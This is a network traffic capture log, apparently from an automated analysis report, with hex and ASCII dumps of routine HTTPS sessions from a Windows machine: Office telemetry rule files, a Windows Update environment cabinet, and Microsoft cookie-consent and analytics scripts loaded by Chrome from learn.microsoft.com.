2024-12-03 16:41:58 UTC	713	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:57 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 34583 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4a53b8f3-e01e-0034-5e51-451352000000 x-ms-version: 2009-09-19 x-azure-ref: 20241203T164157Z-174f7845968glpgnhC1EWR7uec000000169g00000000pa8y Accept-Ranges: bytes
2024-12-03 16:41:58 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-12-03 16:41:58 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-12-03 16:41:58 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-12-03 16:41:58 UTC	710	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent
2024-12-03 16:41:58 UTC	3568	IN	Data Raw: 74 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 Data Ascii: t("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentCha

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:57 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:58 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:58 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 0e5f614d-c01e-0066-48ee-44a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164158Z-174f7845968n2hr8hC1EWR9cag00000015t000000000p5va x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:58 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	49841	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:58 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bCm59y551UyMzEE&MD=Fnc894VX HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-03 16:41:59 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: c76dc3a6-05f0-451c-9923-247560f9f76a MS-RequestId: c56fee7b-4d48-47f1-b9b3-4015b9cc7c71 MS-CV: WxkMWy1so02H1tnQ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 03 Dec 2024 16:41:57 GMT Connection: close Content-Length: 30005
2024-12-03 16:41:59 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-03 16:41:59 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:58 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:59 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:59 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 41da8244-f01e-001f-6bec-445dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164159Z-174f7845968xr5c2hC1EWRd0hn0000000r30000000008eup x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:59 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:59 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:59 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:59 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 6eaf05c4-e01e-0033-6100-454695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164159Z-174f7845968px8v7hC1EWR08ng00000016c000000000saqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:59 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	49843	13.107.246.43	443	1836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:59 UTC	606	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Range: bytes=195719-195719 If-Range: 0x8DCEC757C1AD1D1
2024-12-03 16:41:59 UTC	868	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:59 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241203T164159Z-174f7845968glpgnhC1EWR7uec00000016b000000000gepk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:59 UTC	15516	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-03 16:41:59 UTC	16384	IN	Data Raw: 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 31 31 29 5d 3d 22 49 50 72 6f 6d 69 73 65 22 29 2c 61 2e 74 6f Data Ascii: &&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(11)]="IPromise"),a.to
2024-12-03 16:41:59 UTC	16384	IN	Data Raw: 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 59 28 65 2c 22 6c 69 73 74 65 6e 65 72 73 22 2c 7b 67 Data Ascii: on(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(e){Y(e,"listeners",{g
2024-12-03 16:42:00 UTC	16384	IN	Data Raw: 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 41 5b 74 65 5d 28 65 29 2c Data Ascii: hComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};function c(){A[te](e),
2024-12-03 16:42:00 UTC	16384	IN	Data Raw: 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4e 6c 28 29 7b 72 65 74 75 72 Data Ascii: fined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new 